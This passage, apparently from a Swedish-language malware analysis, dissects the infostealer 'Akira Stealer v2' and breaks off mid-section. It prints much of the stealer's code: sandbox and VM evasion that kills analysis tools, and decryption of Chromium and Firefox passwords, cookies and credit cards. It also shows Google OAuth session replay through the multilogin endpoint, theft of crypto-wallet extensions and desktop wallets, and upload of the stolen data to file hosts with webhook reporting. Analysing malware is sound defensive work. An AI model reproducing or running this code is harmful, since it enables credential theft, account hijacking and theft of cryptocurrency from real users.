'B1112042-52E8-E25B-3655-6A4F54155DBF',
'00000000-0000-0000-0000-AC1F6BD048FE',
'EB16924B-FB6D-4FA1-8666-17B91F62FB37',
'A15A930C-8251-9645-AF63-E45AD728C20C',
'67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',
'C7D23342-A5D4-68A1-59AC-CF40F735B363',
'63203342-0EB0-AA1A-4DF5-3FB37DBB0670',
'44B94D56-65AB-DC02-86A0-98143A7423BF',
'6608003F-ECE4-494E-B07E-1C4615D1D93C',
'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',
'49434D53-0200-9036-2500-369025003AF0',
'8B4E8278-525C-7343-B825-280AEBCD3BCB',
'4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',
'79AF5279-16CF-4094-9758-F88A616D81B4',
'FE822042-A70C-D08B-F1D1-C207055A488F',
'76122042-C286-FA81-F0A8-514CC507B250',
'481E2042-A1AF-D390-CE06-A8F783B1E76A',
'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',
'9961A120-E691-4FFE-B67B-F0E4115D5919'
)
Blacklisted Computer Names
BLACKLISTED_COMPUTERNAMES = (
'00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',
'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',
'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',
'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',
'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',
'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',
'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',
'desktop-vkeons4', 'NTT-EFF-2W11WSS'
)
Blacklisted User Accounts
BLACKLISTED_USERS = (
'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',
'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',
'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',
'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',
'harry johnson', 'j.seance', 'a.monaldo', 'tvm'
)
Blacklisted Analysis‐Tool Processes
BLACKLISTED_TASKS = (
'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',
'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',
'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',
'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',
'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',
'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',
'discordtokenprotector', 'glasswire', 'requestly'
)
Core Detection Methods
@staticmethod
def checkUUID() -> bool:
"""WMIC hardware UUID against known VM IDs."""
try:
raw = subprocess.run(
"wmic csproduct get uuid",
shell=True, capture_output=True
).stdout.splitlines()[2].decode(errors='ignore').strip()
except:
raw = ""
return raw in VmProtect.BLACKLISTED_UUIDS
@staticmethod
def checkComputerName() -> bool:
"""ENV %COMPUTERNAME% in VM name list."""
return os.getenv("computername", "").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES
@staticmethod
def checkUsers() -> bool:
"""Current login username in VM users list."""
return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS
@staticmethod
def checkHosting() -> bool:
"""Query ip-api.com/hosting → 'true' indicates cloud VM."""
http = PoolManager(cert_reqs="CERT_NONE")
try:
return http.request(
'GET', 'http://ip-api.com/line/?fields=hosting'
).data.decode().strip() == 'true'
except:
return False
@staticmethod
def checkHTTPSimulation() -> bool:
"""
Attempt TLS to random subdomain.
Failure → possible HTTPS interception/sandbox.
"""
http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
try:
http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
return True
except:
return False
@staticmethod
def checkRegistry() -> bool:
"""
Look for VirtualBox/VMware in:
- Registry driver entries
- Video card name via WMIC
- Presence of VM-specific folders
"""
r1 = subprocess.run(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
"\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2",
shell=True, capture_output=True
)
r2 = subprocess.run(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
"\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2",
shell=True, capture_output=True
)
gpu = any(
x.lower() in subprocess.run(
"wmic path win32_VideoController get name",
shell=True, capture_output=True
).stdout.decode().splitlines()[2].lower()
for x in ("virtualbox", "vmware")
)
dirs = any(os.path.isdir(d) for d in ('D:\\Tools','D:\\OS2','D:\\NT3X'))
return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs
@staticmethod
def killTasks() -> None:
"""Continuously terminate known analysis processes."""
Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)
7.3.13 Exekverings- och avbrottslogik
- Initialisering: Inuti konstruktorn
Akira.__init__()anropar skadekoden omedelbartVmProtect.isVM(1)för att utföra snabba virtualiseringskontroller med låg overhead (t.ex. hostname, användare, HTTPS-simulering). - Fördjupad inspektion: Om det inledande testet passerar anropar den
VmProtect.isVM(2), vilket utlöser mer heltäckande kontroller, inklusive validering av hardware-UUID, hosting-detektering viaip-api.comoch skanning av registerartefakter. - Avbrottsväg: Om någon kontroll returnerar
True, vilket indikerar en virtuell miljö eller analysmiljö, kör kodensys.exit()och avslutar exekveringen innan några rutiner för datainsamling eller exfiltrering körs.
7.3.14 Slutsats
Modulen VmProtect i Akira Stealer v2 demonstrerar ett skiktat försvar mot analys som utnyttjar både lokala systemfingeravtryck och nätverksbaserade heuristiker. Genom att förstå och instrumentera dessa precisa kontroller kan försvarare vända på steken och detektera sådan undvikande skadekod i operativa miljöer.
7.4 Exfiltrering av webbläsardata
Ett av kärnmålen för Akira Stealer v2 är storskalig extraktion av känslig data som lagras i webbläsaren. Skadeprogrammet implementerar skräddarsydda moduler för att rikta in sig på både Chromium-baserade och Gecko-baserade (Firefox) webbläsare. Dess funktioner omfattar extraktion och dekryptering av sparade lösenord, cookies, kreditkortsuppgifter, autofyllposter och till och med sessionstoken som kan återanvändas för att helt kapa konton.
1. Uppsättning av arbetsyta
client_dir = Utils.get_temp_folder() # e.g., C:\Windows\Temp\DESKTOP-1234
os.makedirs(client_dir, exist_ok=True)
for sub in ("Passwords","Cookies","CreditCards","History","Autofill","Wallets"):
os.makedirs(os.path.join(client_dir, sub), exist_ok=True)
- Skapar ett tillfälligt uppsamlingsområde under systemets temp-katalog, uppkallat efter offrets maskin (%TEMP%\DESKTOP-
), vilket säkerställer att alla exfiltrerade artefakter samlas på ett ställe som enkelt kan arkiveras. - Isolerar data efter typ: sex dedikerade undermappar (Passwords, Cookies, CreditCards, History, Autofill, Wallets) förhindrar namnkonflikter och förenklar senare zippning, eftersom varje extraktionsrutin bara skriver till sin egen mapp.
- Idempotent mappskapande använder exist_ok=True, så om skadeprogrammet körs igen (till exempel vid omstart eller genom persistens) kraschar det inte och skriver inte över befintlig data. Nya poster läggs helt enkelt till i samma struktur.
- Möjliggör selektiv städning: när uppladdning och notifiering är klara kan tjuvprogrammet anropa Utils.clear_client_folder() för att rekursivt radera enbart sin egen arbetsyta, utan att lämna några spår kvar.
- Förbereder för parallella extraktionstrådar: genom att skapa alla mål i förväg kan bakgrundstrådar som samlar in webbläsaruppgifter, cookies, autofyll, kryptoplånboksdata med mera, direkt skriva resultat utan ytterligare kontroller. Det minimerar overhead och minskar fönstret för att defensiva hookar ska upptäcka oväntad filinput/output.
2. Webbläsare som stöds
- Chromium-baserade
- Google Chrome (Stable & SxS)
- Microsoft Edge
- Brave Browser
- Opera & Opera GX
- Chromium
- Comodo Dragon
- Epic Privacy Browser
- Iridium Browser
- UR Browser
- Vivaldi Browser
- Yandex Browser
- Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran
- Firefox-baserade (via
GeckoDriver)- Mozilla Firefox
- Waterfox
- Pale Moon
Akira lokaliserar dynamiskt användarprofiler med hjälp av miljövariabler och kända katalogstrukturer:user_path = os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data")
Den kontrollerar rekursivt tillgängliga webbläsarprofiler (t.ex.Default,Profile 1, etc.) och riktar in sig på SQLite-databaser inom dessa sökvägar.
7.4.1 Extraherade datatyper
| Datatyp | Källfil | Anteckningar |
|---|---|---|
| Sparade lösenord | Login Data (Chromium) |
Dekrypteras via DPAPI eller AES-GCM (efter Chromium v80) |
| Cookies | Cookies |
Kan innehålla sessionstoken, särskilt för Google-/Facebook-konton |
| Autofylldata | Web Data |
Adresser, e-postadresser, telefonnummer med mera |
| Kreditkort | Web Data |
Krypterat, kräver huvudnyckel |
| Sessionstoken | I minnet och cookies | Omfattar Gmail, Google-konton och uppspelning av Discord OAUTH |
| Historik och URL:er | History, Visited Links |
Exfiltrerades också till angriparen |
3. Extraktionsmoduler När skadeprogramförfattare riktar in sig på webbläsare är deras främsta skattkistor de olika SQLite-databaser där Chrome, Firefox och deras släktingar lagrar autentiseringsuppgifter, cookies, historik och autofyllposter. astor.py sammanfogar lättviktig Python och native API:er för att metodiskt plocka ut varje del av datan, och till och med spela upp levande OAuth-sessioner, utan att lämna några spår. Nedan följer en djupgående genomgång modul för modul, ordagrant från koden.
7.4.2 Lösenordsdumpare (Chromium.GetPasswords)
Den här modulen genomsöker systematiskt alla Chromium-baserade webbläsarprofiler för att extrahera sparade inloggningsuppgifter. Genom att rikta in sig på SQLite-databasen Login Data hämtar den användarnamn och krypterade lösenord, och använder sedan plattformens krypteringsnyckel (hämtad via DPAPI eller AES-GCM) för att dekryptera dem till klartext. Dessa autentiseringsuppgifter är mycket värdefulla för lateral rörelse efter intrånget eller kapning av konton.
for root, _, files in os.walk(self.BrowserPath):
for file in files:
if file.lower() == "login data":
# Copy DB → open → extract rows
results = cursor.execute(
"SELECT origin_url, username_value, password_value FROM logins"
).fetchall()
for url, user, pwd_blob in results:
clear_pwd = self.Decrypt(pwd_blob, encryptionKey)
passwords.append((url, user, clear_pwd))
- Lokaliserar varje
Login Data-SQLite-databas under webbläsarensUser Data-mapp. - Kopierar till en temporär fil för att undvika webbläsarlås.
- SQL-fråga:
SELECT origin_url, username_value, password_value FROM logins. - Dekrypterar varje
password_value-blob via AES-GCM (v10/v11) eller Windows DPAPI som fallback. - Skriver resultatet till
Passwords/<BrowserName> Passwords.txt.
7.4.3 Kreditkortsdumpare (Chromium.GetCreditCards)
Här kommer tjuvprogrammet åt lagrad kreditkortsdata från varje webbläsarprofils Web Data-fil. Det fokuserar på att extrahera utgångsdatum och krypterade kreditkortsnummer, som sedan dekrypteras med samma logik som lösenorden. Även om CVV-koder vanligtvis inte lagras kan den återvunna informationen ändå missbrukas för card-not-present-bedrägeri.
results = cursor.execute(
"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards"
).fetchall()
for month, year, enc_cc in results:
cc_number = self.Decrypt(enc_cc, encryptionKey)
ccs.append((cc_number, month, year))
- Riktar in sig på SQLite-lagren i
Web Dataunder varje profil. - SQL-fråga:
SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards. - Dekrypterar
card_number_encryptedpå exakt samma sätt som lösenordsblobbarna. - Skriver resultatet till
CreditCards/<BrowserName> CreditCards.txt.
7.4.4 Cookie-dumpare (Chromium.GetCookies)
Cookies, särskilt sessionscookies, är förstahandsmål för kontokapning utan lösenord. Den här modulen dumpar alla cookiefiler i samtliga profiler, dekrypterar dem och samlar in väsentlig metadata som domän, namn och utgångsdatum. Tillsammans med fingerprinting kan dessa cookies användas för uppspelningsattacker mot autentiserade tjänster utan ytterligare hinder.
results = cursor.execute(
"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
).fetchall()
for host, name, path, blob, expiry in results:
cookie_val = self.Decrypt(blob, encryptionKey)
cookies.append((host, name, path, cookie_val, expiry))
- Skannar varje
Cookies-SQLite-databas. - Väljer
host_key, name, path, encrypted_value, expires_utc. - Dekrypterar varje
encrypted_value-blob för att avslöja den faktiska cookie-strängen. - Sparar i
Cookies/<BrowserName> Cookies.txt.
7.4.5 Google-sessionsdumpare (Chromium.dump_google_sessions)
Den här rutinen, en av de mer avancerade komponenterna, dekrypterar sparade OAuth-token från tabellen token_service. Genom att spela upp dem igen via Googles multilogin-endpoint kan skadeprogrammet återskapa aktiva sessionscookies, vilket gör det möjligt för angripare att kapa Google-konton utan autentiseringsuppgifter. Det illustrerar hur åtkomsttoken har blivit ett förstahandsmål i moderna infostealers.
cursor.execute("SELECT service, encrypted_token FROM token_service")
for service, blob in cursor.fetchall():
iv = blob[3:15]
ciphertext = blob[15:-16]
cipher = AES.new(secret_key, AES.MODE_GCM, iv)
token = cipher.decrypt(ciphertext).decode()
# Replays via POST to OAuth endpoint
response = requests.post(
"https://accounts.google.com/oauth/multilogin",
headers={"Authorization": f"MultiBearer {token}:{service_id}"},
data={"source": "com.google.Drive"}
)
save each account's cookies to file
- Hämtar
serviceoch den råaencrypted_tokenfrån klonen avWeb Data. - AES-GCM-dekryptering med webbläsarens
Local State-nyckel. - Spelar upp de dekrypterade token i en POST-förfrågan till Googles
multilogin-API för att återskapa giltiga OAuth-cookies. - Skriver sessionsfiler per konto under
Cookies/<display_email> Google Session.txt.
7.4.6 Historikdumpare (Chromium.GetHistory)
Den här funktionen extraherar poster ur surfhistoriken, inklusive URL, titel och besöksfrekvens. Utöver integritetsintrånget hjälper den här datan angripare att förstå offrets beteende, identifiera högvärdiga mål (till exempel bankportaler) eller skräddarsy social engineering-nyttolaster.
results = cursor.execute(
"SELECT url, title, visit_count, last_visit_time FROM urls"
).fetchall()
history.sort(key=lambda x: x[3], reverse=True)
return [(url, title, count) for url, title, count, _ in history]
- Väljer
url, title, visit_count, last_visit_timefrån varjeHistory-databas. - Sorterar posterna efter
last_visit_timei fallande ordning. - Skriver ut
History/<BrowserName> History.txt.
7.4.7 Autofylldumpare (Chromium.GetAutofills)
Autofyllposter, till exempel adresser, namn, e-postadresser och ibland betalningsrelaterad data, hämtas ut från webbläsarens Web Data-lagring. Dessa värden kan verka oviktiga var för sig, men sammantaget ger de en rik profil av offrets identitet och beteende.
results = cursor.execute(
"SELECT name, value FROM autofill"
).fetchall()
for field, value in results:
autofills.append((field.strip(), value.strip()))
- Hämtar formulärposter:
name, valuefrån filenweb data. - Skriver ut som
Autofill/<BrowserName> Autofill.txt.
7.4.8 Firefox-profilinsamlare (GeckoDriver & grabFirefoxProfiles)
Till skillnad från de detaljerade Chromium-rutinerna väljer den här funktionen ett bredare angreppssätt: den komprimerar hela Firefox-profilkatalogen, inklusive sparade inloggningar, cookies och bokmärken, och exfiltrerar den i sin helhet. Det säkerställer att angripare kan analysera eller extrahera data offline och kringgå dekrypteringshinder med kända NSS-verktyg.
with zipfile.ZipFile(zip_path, 'w') as zipf:
for root, dirs, files in os.walk(source_path):
zipf.write(each file)
# Upload via GoFile/File.io, then POST via attacker webhooks
- Zippar hela katalogen
%APPDATA%\Mozilla\Firefox\Profiles. - Namnger den
%TEMP%\<ComputerName>_Firefox_profiles.zipoch skickar nedladdningslänken via samma webhook-kanaler. - Anropar även samma SQLite-baserade extraktionsfunktioner (
logins.json,cookies.sqlite,places.sqlite) mot varje Firefox-profil, med hjälp av de NSS-dekrypteringsrutiner som redan finns.
7.4.9 Sammanfattning av extraktionen
Astor.py orkestrerar en omfattande kompromettering av webbläsaren genom att systematiskt samla in varje autentiseringsuppgift och sessionsartefakt hos Chromium-baserade klienter och Firefox-klienter. Den lokaliserar och kopierar säkert varje SQLite-lager, det vill säga Login Data, Web Data, Cookies, History och autofill, och kör sedan riktade SQL-frågor för att extrahera URL:er, användarnamn, lösenord, kreditkortsuppgifter, cookies, surfhistorik och formulärposter. Lösenord och betalningsdata dekrypteras via AES-GCM (eller Windows DPAPI som fallback), medan cookies packas upp på samma sätt för att avslöja deras klartextvärden. För Google-konton dekrypteras krypterade OAuth-token från token_service och spelas upp igen mot multilogin-API:et för att återskapa levande sessionscookies. Slutligen arkiveras Firefox-profiler i sin helhet (inklusive logins.json, cookies.sqlite och places.sqlite) och levereras som ZIP-filer, vilket säkerställer att ingen artefakt lämnas kvar. Den här kedjan körs tyst under %TEMP%\<ComputerName> och genererar prydligt organiserade utdatafiler för varje datakategori.
7.5 Dekrypteringslogik
Moderna webbläsare som Chrome och Edge krypterar känslig data, till exempel lösenord, cookies och kreditkortsuppgifter, innan den lagras lokalt. Akira har inbyggda dekrypteringsrutiner som är skräddarsydda för att hantera både äldre och nuvarande Chromium-krypteringsmetoder. Det säkerställer att den kan extrahera klartextdata oavsett systemets patchnivå eller webbläsarversion.
Kärnan i den här processen är extraktion och dekryptering av webbläsarens huvudkrypteringsnyckel, som lagras i en fil som heter Local State. Beroende på webbläsarversion och Windows-version väljer Akira dynamiskt lämplig dekrypteringsmetod:
DPAPI (Data Protection API) används på äldre system, där Chrome lagrar hemligheter skyddade av den aktuella användarens Windows-autentiseringsuppgifter.
AES-GCM används i moderna Chromium-versioner, där en slumpmässigt genererad huvudnyckel i sig krypteras med DPAPI och sedan används för kryptering av användardata inom appen.
Genom att först dekryptera huvudnyckeln i Local State får Akira möjlighet att låsa upp alla webbläsarens hemligheter, vilket banar väg för extraktion av autentiseringsuppgifter, token, cookies och mer.
Nyckelextraktion
local_state_path = os.path.join(user_path, "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
Dekryptering (AES-GCM):
nonce = value[3:15]
ciphertext = value[15:-16]
tag = value[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
Om fallback till DPAPI behövs (på äldre system) används win32crypt.CryptUnprotectData().
Förklaring av decrypt_password_blob:
Den här funktionen visar hur Akira Stealer dekrypterar varje sparat lösenordsvärde från Chromium-baserade webbläsare. Den hanterar två fall:
- Windows DPAPI-blobbar (äldre eller icke-GCM-krypterad data): Faller tillbaka på systemanropet
CryptUnprotectData, som använder användarens Windows-autentiseringsuppgifter för att dekryptera. - AES-GCM-krypterade blobbar (Chrome v10/v11-format): Tolkar versionsheadern, extraherar IV och autentiseringstaggen, och använder biblioteket
cryptographyför att dekryptera nyttolasten på ett säkert sätt.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
def decrypt_password_blob(buffer: bytes, key: bytes) -> str:
"""
Decrypts a Chrome password blob using either DPAPI or AES-GCM.
Parameters:
- buffer: raw encrypted blob from the `password_value` field
- key: the master AES key retrieved via DPAPI from Local State
Returns:
- Decrypted UTF-8 plaintext password
"""
# 1) DPAPI fallback for non-AES-GCM blobs
if not buffer.startswith((b'v10', b'v11')):
# Uses Windows CryptUnprotectData under the hood
return CryptUnprotectData(buffer)
# 2) AES-GCM decryption for Chrome v10/v11 format:
# Bytes layout:
# [0:3] = version header ('v10'/'v11')
# [3:15] = initialization vector (IV)
# [15:-16] = ciphertext payload
# [-16:] = GCM authentication tag
iv = buffer[3:15]
ciphertext = buffer[15:-16]
tag = buffer[-16:]
# Initialize AES-GCM cipher with extracted IV and tag
cipher = Cipher(
algorithms.AES(key),
modes.GCM(iv, tag),
backend=default_backend()
)
decryptor = cipher.decryptor()
# Perform decryption; raises if authentication fails
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
# Decode to UTF-8, ignoring any stray errors
return plaintext.decode('utf-8', errors='ignore')
7.6 Kapning av sessionstoken
Akira stannar inte vid passiv datainsamling. Den kapar aktivt levande sessionstoken för att utge sig för att vara offret i realtid. Efter att ha extraherat krypterade token från webbläsarens lagring återskapar den nödvändig autentiseringsheader och spelar upp en MultiLogin-förfrågan mot Googles OAuth-endpoint. Kodutdraget nedan illustrerar processen:
# Build SAPISIDHASH header for Google services
origin = "https://accounts.google.com"
timestamp = int(time.time())
# Compute SHA1 of "timestamp origin SAPISID"
payload = f"{timestamp} {origin} {sap_id_cookie}".encode()
signature = hashlib.sha1(payload).hexdigest()
headers = {
"Authorization": f"SAPISIDHASH {timestamp}_{signature}",
"Content-Type": "application/json"
}
# Replay MultiLogin to fetch valid session cookies
response = requests.post(
"https://accounts.google.com/accounts/multilogin",
headers=headers,
json={"continue": "https://mail.google.com"}
)
if response.status_code == 200:
# Victim's cookies now present in response.cookies
hijacked_cookies = response.cookies
Genom att spela upp den här förfrågan kan Akira utge sig för att vara användarens Gmail, Drive eller vilken annan Google-tjänst som helst som skyddas av en giltig session, helt utan autentiseringsuppgifter. Tekniken utnyttjar Googles egen logik för att acceptera token, vilket gör den nästan omöjlig att skilja från legitimt klientbeteende.
7.7 Firefox-dekryptering
Gecko-baserade webbläsare som Firefox krypterar sparade autentiseringsuppgifter och cookies med en huvudnyckel som lagras i key4.db. Akira innehåller en förenklad dekrypteringsrutin som speglar Mozillas NSS-logik och hanterar både 3DES- och AES-CBC-varianter utan att utlösa uppmaningen om huvudlösenord. Exempel på användning:
# Load global Salt and encrypted item from key4.db
db = sqlite3.connect(profile_path + "/key4.db")
cursor = db.cursor()
cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
global_salt, item2 = cursor.fetchone()
# Decode DER structure and derive key
decoded, _ = der_decode(item2)
entry_salt = decoded[0][1][0].asOctets()
cipher_text = decoded[1].asOctets()
# Derive 3DES key
key = derive_3des_key(global_salt, master_password, entry_salt)
iv = decoded[0][1][1].asOctets()
# Decrypt credentials
cipher = DES3.new(key, DES3.MODE_CBC, iv)
clear_password = unpad(cipher.decrypt(cipher_text))
print("Decrypted Firefox password:", clear_password)
Med den här rutinen kan Akira transparent dumpa logins.json, cookies.sqlite och places.sqlite för varje Firefox-profil, och skriva den dekrypterade utdatan till:
Passwords/Firefox_<ProfileName> Passwords.txt
Cookies/Firefox_<ProfileName> Cookies.txt
History/Firefox_<ProfileName> History.txt
Den här metoden kringgår kontroller av huvudlösenord på användarnivå, vilket ger tjuvprogrammet obegränsad åtkomst till alla sparade autentiseringsuppgifter.*
4. Filstruktur och namngivning
<ComputerName>.zip
└── <ComputerName>\
├── Passwords\
│ ├── Chrome Passwords.txt
│ ├── Edge Passwords.txt
│ └── …
├── Cookies\
│ ├── Chrome Cookies.txt
│ ├── Edge Cookies.txt
│ ├── user@example.com Google Session.txt
│ └── …
├── CreditCards\
│ ├── Chrome CreditCards.txt
│ └── …
├── History\
│ ├── Chrome History.txt
│ └── …
├── Autofill\
│ ├── Chrome Autofill.txt
│ └── …
└── Wallets\
├── Firefox_Default_profiles.zip
├── Firefox_Profile1_profiles.zip
└── …
- Varje
.txt-fil börjar med en konsekvent header (<================[Akira Stealer v2]>================>) och en avgränsarrad (====…====). - ZIP på disk:
%TEMP%\<ComputerName>.zip. - Filnamnsetikett för C&C:
Akira-<username>.zip.
5. Exfiltrering och städning
url = Webhook.uploadToGofile(zip_path)
if not url:
url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
Webhook.sendDataTG(zip_path, chatId, startup)
Utils.clear_client_folder()
- Primär kanal (GoFile.io): Skadeprogrammet försöker först ladda upp ZIP-arkivet med alla stulna artefakter till GoFile.io, och tolkar JSON-svaret för att hitta en
downloadPage-URL som ger angriparen direkt åtkomst till arkivet. - Automatiska fallbacks: Om GoFile-endpointen skulle misslyckas (timeout i nätverket, rate limit och så vidare) faller koden utan problem tillbaka på
file.io, och om även den returnerar en tom länk, till sist påoshi.at. Båda alternativen anropas utan att kasta undantag, vilket säkerställer att en av de tre tjänsterna alltid provas i tur och ordning. - Webhook-rapportering: När en URL (eller en tom sträng vid ihållande fel) har fastställts anropas
Webhook.sendDataTG(...), som paketerar ihop nedladdningslänken, maskinidentifierare (chatId, flagganstartup) och alla kategoriräkningar (lösenord, cookies, autofyll, plånböcker) i ett enda Discord- eller Telegram-meddelande. - Omedelbar städning: Efter rapporteringen raderar
Utils.clear_client_folder()rekursivt hela den temporära arbetsytan och själva ZIP-filen, utan att lämna några spår av den insamlade datan eller arkivet på disken.
Motståndskraft mot fel:
- Alla uppladdningsrutiner returnerar
""vid fel i stället för att kasta ett undantag, vilket garanterar att kodflödet fortsätter.- Även om alla tjänster är oåtkomliga skickar skadeprogrammet ändå en webhook-rapport (om än med en saknad länk) innan de lokala artefakterna raderas, vilket minimerar forensiska spår såvida inte processen kraschar oväntat.
6. Robusthet och felhantering
- Detaljerad felhantering: Varje interaktion med filsystemet, oavsett om det är
shutil.copy, SQLite-frågor eller ZIP-operationer, omsluts avtry/except-block. När ett fel uppstår (låst databas, nekad behörighet, felaktig post) fångas undantaget upp och loggas viaAkira.logErrorTg(), och körningen fortsätter, vilket isolerar felet till just den filen eller modulen. - Trådisolering per webbläsare: Extraktionsrutinerna för varje webbläsare som stöds körs i en egen tråd. Den här flertrådade designen säkerställer att en krasch eller ett dödläge i en webbläsares extraktion (till exempel en trasig profil eller saknad nyckel) inte stoppar eller fördröjer analysen av andra webbläsare.
- Tysta fallbacks och standardvärden: Många hjälprutiner, till exempel uppladdning till alternativa filvärdar, kontroll av fjärresurser eller start av underprocesser, använder nästlade
try/except-block utan synliga varningar, vilket maximerar smygförmågan. Standardvärden (tomma strängar, booleaner) väljs för att hålla flödet ostört och undvika uppenbara felvillkor. - Mutex och startskydd: En namngiven mutex (
1qsMlseJplTlArIF14f) förhindrar flera instanser, medan registerkontroller ochUtils.CreateMutex()skyddar mot samtidiga körningar, vilket ger ytterligare stabilitet vid verklig användning.
7.8 Exfiltrering av plånböcker och token
I den här fasen genomför Akira Stealer v2 den mest omfattande genomsökningen efter kryptovalutauppgifter och sessionstoken, och täcker webbläsartillägg, skrivbordsplånböcker, meddelandetoken och keylogging i realtid. Den körs i parallella trådar, vilket säkerställer att ingen vektor missas. Nedan följer en steg-för-steg-genomgång med stöd i koden.
7.8.1 Plånböcker som webbläsartillägg
Mål: Över 80 tillägg i populära webbläsare, bland annat MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman och fler.
# Hardcoded list of extension IDs and human-friendly names
walletsExtensions = [
["MetaMask", "nkbihfbeogaeaoehlefnkodbefgpgknn"],
["Phantom", "bfnaelmomeimhlpmgjnjophhpkkoljpa"],
["TrustWallet", "egjidjbpglichdcondbcbdnbeeppgdph"],
["CoinbaseWallet", "hfhmhopkfngkjcalldmaepmpilmjjemb"],
["Solflare", "bhhhlbepdkbapadjdnnojkbgioiodbic"],
["BinanceChain", "fhbohimaelbohpjbbldcngcnapndodjp"],
["Keplr", "dmkamcknogkgcdfhhbddcghachkejeap"],
["Nami", "lpfcbjknijpeeillifnkikgncikgfhdo"],
["Talisman", "fijngjgcjhjmmpcmkeiomlglpeiijkld"],
["TronLink", "ibnejdfjmmkpcnlpebklmnkoeoihofec"],
# ... plus dozens more mapped in code
]
# Extraction loop for each browser profile
for browser_name, (user_data, proc_name) in paths.items():
base = os.path.join(user_data, "Default", "Local Extension Settings")
for ext_name, ext_id in walletsExtensions:
src = os.path.join(base, ext_id)
if os.path.isdir(src):
dest = os.path.join(Utils.get_temp_folder(), "Wallets", f"{ext_name}_{browser_name}")
shutil.copytree(src, dest, dirs_exist_ok=True)
data.ext_wallets_count += 1
- Kopierade filer: Tilläggsspecifika IndexedDB-, LevelDB-, JSON- och konfigurationsfiler som innehåller krypterade nycklar, återställningsfraser och inloggningsuppgifter.
- Resultatmapp:
Wallets/MetaMask_Chrome/,Wallets/Phantom_Edge/med flera.
7.8.2 Skrivbordsplånböcker
Mål: Stora skrivbordsklienter som Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi med flera.
walletsDesktop = [
["Electrum", os.path.join(os.getenv('APPDATA'), "Electrum", "wallets")],
["Exodus", os.path.join(os.getenv('APPDATA'), "Exodus", "exodus.wallet")],
["AtomicWallet", os.path.join(os.getenv('LOCALAPPDATA'), "atomic", "Local Storage", "leveldb")],
["Guarda", os.path.join(os.getenv('APPDATA'), "Guarda", "Local Storage", "leveldb")],
["Rabby", os.path.join(os.getenv('APPDATA'), "rabby-desktop")],
["Coinomi", os.path.join(os.getenv('APPDATA'), "Coinomi", "wallets")],
]
for name, path in walletsDesktop:
if os.path.isdir(path):
Utils.TaskKill(name.lower())
dest = os.path.join(Utils.get_temp_folder(), "Wallets", name)
shutil.copytree(path, dest, dirs_exist_ok=True)
data.desktop_wallets_count += 1
- Stulen data: Keystore-filer (
*.dat,*.json), exporterade privata nycklar, plånbokskonfiguration och transaktionshistorik. - Nytta: Plånboksinnehåll offline som angriparen kan använda för att godkänna transaktioner.
7.8.3 Insamling av Discord-token
Discord-token är autentiseringsartefakter, i praktiken långlivade bearer-token, som kan ge fullständig åtkomst till en användares konto utan att kräva autentiseringsuppgifter eller MFA. Akira utnyttjar detta genom att skanna webbläsar- och appdatamappar efter token som lagras av olika Discord-klienter, bland annat Discord Stable, Canary, PTB (Public Test Build) och till och med modifierade forkar som Lightcord.
Tekniken riktar in sig på LevelDB-filer under applikationens Local Storage, där autentiseringstoken ofta finns kvar i klartext. Med hjälp av reguljära uttryck skannar skadeprogrammet dessa .log- och .ldb-filer efter mönster som matchar antingen vanliga användartoken eller MFA-aktiverade token.
